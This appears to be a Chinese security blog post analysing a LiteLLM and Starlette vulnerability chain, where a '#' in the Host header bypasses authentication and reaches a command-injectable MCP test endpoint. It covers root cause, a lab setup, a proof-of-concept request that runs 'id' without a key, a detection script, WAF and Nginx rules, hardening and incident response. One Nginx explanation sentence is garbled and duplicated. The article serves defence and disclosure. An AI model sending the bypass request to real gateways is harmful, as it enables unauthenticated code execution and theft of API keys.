摘要AI网关已经成为外网暴露面里的高危靶点。本文围绕CVE‑2026‑48710与CVE‑2026‑42271组成的完整利用链从底层协议、框架源码、真实利用链路、POC编写、自检脚本、生产环境加固配置完整走通一遍。不做概念堆砌全部内容可以直接落地到漏洞复现、入侵检测、线上应急处置。1 事件背景为什么AI网关会出现无认证RCE业务侧大量团队直接把LiteLLM对外部署。它承担统一转发、密钥管理、速率限制、模型路由企业内部所有大模型调用流量全部经过这一层。很多运维把它当成普通反向代理看待安全配置直接照搬Nginx代理的经验忽略ASGI框架层带来的特有风险。这次爆出的漏洞组合不是LiteLLM单一代码bug。是框架解析逻辑缺陷叠加业务接口危险编码再加上鉴权实现逻辑漏洞三者耦合形成完整攻击链。单独拿任意一个CVE出来危害都有限。CVE‑2026‑48710本身只是鉴权绕过没有直接执行能力CVE‑2026‑42271命令注入需要合法密钥才能触发。攻击者把HTTP Host头作为入口点一行请求头直接打通两道关卡实现无需身份认证远程代码执行。外网测绘数据可以看到公网大量实例使用低于1.84.0版本的LiteLLM同时底层Starlette版本落在0.8.3‑1.0.0高危区间。不少实例直接裸暴露上游没有Nginx、WAF做Host头校验。攻击者扫描器只需要发送一条定制HTTP请求就能完成探测与入侵。很多安全团队的传统扫描手段识别不到这条链路。常规漏洞扫描工具只会单独检测命令注入点会跳过需要鉴权保护的MCP测试接口Host头异常字符检测规则覆盖率参差不齐大量WAF默认不会拦截Host头内部携带#符号的报文。漏洞上线后野外流量很快出现对应利用行为。攻击者拿到服务器权限之后优先读取环境变量窃取各类LLM服务商API密钥导出LiteLLM数据库植入挖矿程序再以受害服务器为跳板向内网横向移动。request.url.path被篡改原始ASGI path不变攻击者公网发起请求携带恶意Host头 #bypass到达LiteLLM ASGI服务Starlette解析Host头鉴权中间件判定为公开路由跳过API Key校验FastAPI路由分发到/mcp‑rest/test/*接口接收用户可控command/args参数直接调用subprocess执行系统命令获取服务器权限窃取密钥、读取文件、内网横向图1完整攻击链执行流程2 漏洞底层原理拆解从第一性原理看ASGI鉴权陷阱很多人看完漏洞公告只记住“Host头带#就可以绕过鉴权”。真正根源是两套路径来源不一致。这是ASGI生态一类共性问题不局限LiteLLM大量基于Starlette/FastAPI开发的业务系统都踩同类坑。2.1 Starlette CVE‑2026‑48710 BadHost解析逻辑ASGI协议本身会把原始请求路径放在scope对象的raw_path字段。这是客户端真实发送过来的路径不会被Host头、URL片段符号干扰。Starlette框架内部会基于HTTP请求的Host请求头拼接生成request.url对象。url对象内部会对#片段标记做URL标准解析。#属于URL片段标识符客户端不会把片段部分发送到服务端但Host头里面出现#的时候Starlette的URL解析器会错误把符号纳入解析流程。举个例子攻击者传入POST /mcp-rest/test/connection HTTP/1.1 Host: 127.0.0.1#hackASGI scoperaw_path/mcp‑rest/test/connection原始请求报文原样保留。FastAPI路由匹配拿这个原始路径做分发请求成功命中MCP高危测试接口。request.url.path经过解析之后被切割为/。鉴权中间件读取这个被篡改后的path做路由判断把受保护接口识别成无需认证的公开接口鉴权逻辑直接放行。核心矛盾点路由分发使用原始raw_path鉴权逻辑使用解析后被污染的request.url.path。两个来源不统一直接制造鉴权逻辑漏洞。很多开发写业务代码的时候直接复制网上示例直接拿request.url.path做权限判断完全不知道这个字段会被Host头污染。这不是业务开发者单一的错误框架文档没有重点标注该风险大量示例代码直接使用request.url.path形成批量安全债务。修复版本Starlette 1.0.1修改Host头解析逻辑Host字段内部的片段符号不再参与URL对象解析杜绝篡改url.path的入口。2.2 LiteLLM CVE‑2026‑42271 MCP测试接口命令注入MCP全称Model Context ProtocolLiteLLM内置MCP对接能力允许网关调用外部MCP服务。为了方便管理员调试MCP连接开发团队增加一组/mcp‑rest/test/*调试接口。接口设计初衷管理员传入MCP服务启动命令网关尝试拉起子进程测试连通性返回调试信息。业务代码直接取出http json body里面command、args字段不经过滤、不经白名单校验直接送入subprocess.Popen执行。# 漏洞版本简化示意代码非原项目完整源码asyncdeftest_mcp_connection(payload:MCPTestPayload):ifpayload.transportstdio:procsubprocess.Popen(args[payload.command]payload.args,envpayload.env,stdoutsubprocess.PIPE,stderrsubprocess.PIPE)正常业务逻辑这套接口会被鉴权中间件拦截只有携带合法LiteLLM API Key并且具备管理员权限的用户才允许调用。接口本身不对外开放。单独看CVE‑2026‑42271攻击门槛很高。攻击者必须拿到有效网关凭证才能利用。真实业务环境中密钥泄露场景属于少数情况漏洞本身危害可控。当CVE‑2026‑48710出现之后局面完全改变。Host头绕过直接抹除鉴权层无需任何密钥攻击者可以直接调用这个高危调试接口。两个漏洞叠加直接产出无认证RCE。LiteLLM 1.84.0做两处修复MCP测试接口做权限收紧仅允许proxy_admin角色访问对stdio模式下的入参增加校验禁止直接传入系统shell程序限制可执行命令集合。2.3 攻击链成立的必要条件不是所有部署实例都会中招需要同时满足全部条件攻击链才可以生效LiteLLM版本 1.84.0Starlette版本落在0.8.3 ~1.0.0MCP相关接口没有通过配置关闭上游反向代理、WAF没有对Host头做白名单校验允许Host头内部出现#字符接口公网可达没有IP白名单限制。只要破坏其中任意一条前提整条攻击链失效。很多人只升级LiteLLM不动Starlette框架层漏洞依旧存在。攻击者只需要找到系统内部其他受保护接口依旧可以完成鉴权绕过这一点很多运维容易忽略。攻击链生效前置条件LiteLLM 1.84.0Starlette 0.8.3‑1.0.0MCP测试接口启用上游未拦截Host头#符号公网可访问接口完整无认证RCE可利用图2 攻击链前置依赖关系3 本地复现环境搭建完整POC与验证脚本警告下面所有代码仅用于自己授权的测试环境禁止在未授权的服务器执行探测、攻击行为。3.1 搭建漏洞环境requirements.txt锁定高危版本litellm1.83.9 starlette1.0.0 uvicorn[standard]0.31.1最小启动脚本run_vuln.pyimportlitellmfromlitellm.proxy.proxy_serverimportappimportuvicorn# 开启MCP能力漏洞触发必要条件litellm.enable_mcpTrue# 设置代理密钥正常访问需要该密钥攻击链会绕过这个校验litellm.proxy_master_keysk‑master‑123456if__name____main__:uvicorn.run(app,host0.0.0.0,port8000)安装并启动服务pipinstall-rrequirements.txt python run_vuln.py服务启动完成访问http://127.0.0.1:8000确认LiteLLM代理正常运行。3.2 验证鉴权绕过POC原始合法请求携带master_key正常调用接口。POST /mcp-rest/test/connection HTTP/1.1 Host: 127.0.0.1:8000 Authorization: Bearer sk-master-123456 Content-Type: application/json { transport:stdio, command:echo, args:[auth_ok] }不带Authorization头正常情况下会返回401鉴权失败。加入恶意Host头实现绕过POST /mcp-rest/test/connection HTTP/1.1 Host: 127.0.0.1:8000#bypass Content-Type: application/json { transport:stdio, command:id, args:[] }返回数据包里面会输出id命令执行结果代表RCE执行成功。全程没有传入任何网关密钥。3.3 Python检测脚本批量自检业务资产脚本功能检测目标地址是否存在Host头绕过风险不会执行危险系统命令只做鉴权逻辑探测不做真正RCE攻击。逻辑发送带#的Host头访问受保护接口观察返回码。如果绕过生效接口不会返回401。#!/usr/bin/env python3 LiteLLM CVE‑2026‑48710 风险探测脚本 仅鉴权绕过逻辑检测不执行命令注入payload仅用于授权资产自检 usage: python litellm_scan.py http://127.0.0.1:8000 importsysimportrequestsdefcheck_litellm_badhost(target:str):urltarget.rstrip(/)/mcp-rest/test/connectionheaders_normal{Host:127.0.0.1}headers_badhost{Host:127.0.0.1#badhosttest}body{transport:stdio,command:echo,args:[probe]}try:# 正常请求无密钥预期401resp_normalrequests.post(url,jsonbody,headersheaders_normal,timeout8)# 恶意Host头请求resp_badrequests.post(url,jsonbody,headersheaders_badhost,timeout8)print(f[*] Target:{target})print(f[-] Normal host header status:{resp_normal.status_code})print(f[-] Bad# Host header status:{resp_bad.status_code})ifresp_normal.status_code401andresp_bad.status_code!401:print([!] 检测到CVE‑2026‑48710鉴权绕过风险该实例高危)else:print([] 未检测到绕过风险)exceptExceptionase:print(f[!] 请求异常{e})if__name____main__:iflen(sys.argv)!2:print(fusage:{sys.argv[0]}http://ip:port)sys.exit(1)check_litellm_badhost(sys.argv[1])执行示例python litellm_scan.py http://127.0.0.1:8000脚本只能检测鉴权绕过。即便绕过存在MCP接口被关闭的情况下完整RCE依然无法触发。生产环境还需要确认MCP功能开关状态。3.4 流量特征用于WAF、SIEM告警规则真实利用流量特征HTTP Host头包含#或者URL编码后的%23请求路径命中/mcp‑rest/test/*POST JSON body内部携带transport:stdio同时存在command、args字段请求不存在Authorization鉴权头。日志里面同时命中以上特征代表大概率发生攻击探测或者入侵行为。4 生产环境加固配置清单临时缓解与彻底修复重点只升级LiteLLM不升级Starlette攻击链没有彻底死掉。Starlette漏洞属于框架层其他业务接口还会被绕过。两个组件必须同时处理。4.1 彻底修复方案LiteLLM升级至1.84.0及以上Starlette升级至1.0.1及以上锁定依赖版本避免后续依赖降级回退。requirements固定版本示例litellm1.84.0 starlette1.0.1容器部署场景修改Dockerfilepip安装阶段强制指定版本。很多镜像内部间接依赖旧版本Starlette直接升级不会被依赖管理器自动更新需要显式指定。4.2 临时缓解手段无法替代升级应急场景使用4.2.1 Nginx反向代理层Host头校验配置在server块增加配置拦截Host头内部携带#的请求URL编码%23一并拦截。server { listen 80; server_name llm-gateway.example.com; # 拦截host头包含# / %23 if ($http_host ~* (#|%23)) { return 403; } # Host头白名单强制限定合法域名拒绝任意Host if ($http_host !~ ^llm-gateway\.example\.com$) { return 403; } location / { proxy_pass http://127.0.0.1:8000; proxy_set_header Host $host; proxy_set_header X‑Real‑IP $remote_addr; } }不要直接使用$http_host透传给后端ASGI服务优先使用$host变量。host取servername不会携带客户端可控的原始Host头。很多旧配置直接透传‘host取server_name不会携带客户端可控的原始Host头。很多旧配置直接透传host取servern​ame不会携带客户端可控的原始Host头。很多旧配置直接透传‘http_host把风险完整传递给后端。4.2.2 LiteLLM业务侧配置关闭MCP功能如果业务不需要MCP能力直接关掉整套模块高危接口直接消失。# config.yamlenable_mcp:false如果业务必须使用MCP增加网络层面限制/mcp‑rest/test/*只允许内网IP访问禁止公网来源访问。4.2.3 容器与运行时最小权限禁止使用root用户运行LiteLLM容器进程容器丢弃不必要Linux capabilities环境变量里面存放的LLM服务商密钥漏洞修复完成之后全部轮换一遍。攻击者一旦利用成功会优先读取进程环境变量。docker-compose权限加固片段services:litellm:image:litellm/litellm‑proxy:latestuser:1001:1001cap_drop:-ALLread_only:falsevolumes:-./config.yaml:/app/config.yaml4.3 WAF规则简易示例ModSecuritySecRule REQUEST_HEADERS:Host rx (#|%23) id:10001,deny,status:403,msg:BadHost attack detected5 从本次漏洞看ASGI生态普遍安全债务这次漏洞曝光之后很多团队只盯着LiteLLM本身。真正值得警惕的是整套FastAPI/Starlette生态的共性问题。大量开发者写鉴权逻辑直接复制网络示例直接读取request.url.path完全不了解该字段会被Host头篡改。安全编码规范没有普及。ASGI scope对象里面raw_path才是客户端原始路径鉴权判断必须使用raw_path而不是解析之后的url.path。# 错误写法存在被Host头篡改风险app.middleware(http)asyncdefauth_middleware(request,call_next):pathrequest.url.path# 基于path做鉴权判断# 安全写法读取scope原始raw_pathapp.middleware(http)asyncdefauth_middleware(request,call_next):raw_pathrequest.scope[raw_path].decode(utf‑8)# 使用raw_path做鉴权判断很多开发甚至不清楚scope、request.url之间的来源差异。网上大量公开教程、博客示例全部使用错误写法持续输出不安全样板代码。除鉴权绕过之外AI网关类产品还高频出现几类问题用户可控参数直接送入subprocess、exec、eval测试调试接口直接对外暴露SSRFapi_base参数可控窃取内网服务、云元数据权限粒度粗管理员接口和普通业务接口中间件一层鉴权完事缺少接口二次权限校验大量开源项目默认配置对外开启调试接口上线的时候没有关闭。AI网关属于控制平面和普通业务接口定位不一样。网关掌握全部上游模型密钥一旦沦陷整个企业大模型业务链路全部失守。安全投入级别应该对标认证中心、密钥管理系统而不是普通业务后台。很多企业部署AI代理的时候只关注业务功能忽略安全基线。版本长期不更新不开WAF不做IP白名单直接扔公网。攻击者扫描器7×24小时全网测绘这类资产会被优先标记。6 入侵应急处置流程出现疑似被攻陷之后操作步骤当SIEM、日志发现攻击流量或者服务器发现异常进程按下面顺序处置。第一时间隔离受影响实例不要直接关机保留内存与容器现场。导出完整访问日志重点检索/mcp‑rest/test/相关请求查看是否存在成功绕过的访问记录确认攻击者是否执行命令。排查服务器异常进程、定时任务、反弹shell、挖矿程序。轮换全部大模型服务商API密钥攻击者拿到权限会优先读取环境变量密钥。检查LiteLLM数据库确认是否新增恶意账号、修改路由配置。升级Starlette、LiteLLM到安全版本补齐Nginx/WAF防护策略。排查内网横向痕迹网关服务器往往可以访问内网其他业务。复盘版本管理确认其他同架构FastAPI业务系统是否存在同类鉴权编码缺陷。不要只重装业务容器。攻击者拿到RCE权限之后可能往服务器、容器内部植入持久化后门单纯重启容器无法清除宿主机层面植入的恶意程序。7 延伸思考AI安全组件的漏洞链攻击趋势最近两年开源AI代理、AI网关爆出大量组合漏洞。单一漏洞危害有限多个漏洞串联之后直接拿到服务器控制权。攻击者的思路已经发生变化。不再只盯着大模型提示词注入。控制平面也就是AI网关、Agent调度平台、MCP服务成为主要狩猎目标。MCP协议本身允许调用本地工具、执行命令协议设计上就自带高危能力调试接口一旦对外泄露风险极高。很多AI Agent项目直接把用户输入透传给本地命令行、数据库、文件操作缺少严格的输入校验与沙箱隔离。未来同类命令注入、SSRF、鉴权绕过的组合攻击链还会持续出现。运维与安全团队不能只盯着CVE公告。CVE发布之前很多漏洞已经在地下流转。需要建立针对AI组件的专项基线版本基线、接口暴露基线、调试接口关闭检查、密钥权限管控。互动问题你们线上业务是否使用LiteLLM或者其他FastAPI开发的AI网关有没有做过raw_path与request.url.path这类底层编码风险审计你遇到过哪些调试接口忘记关闭直接暴露公网带来的真实安全事件欢迎在评论区分享你的处置经验。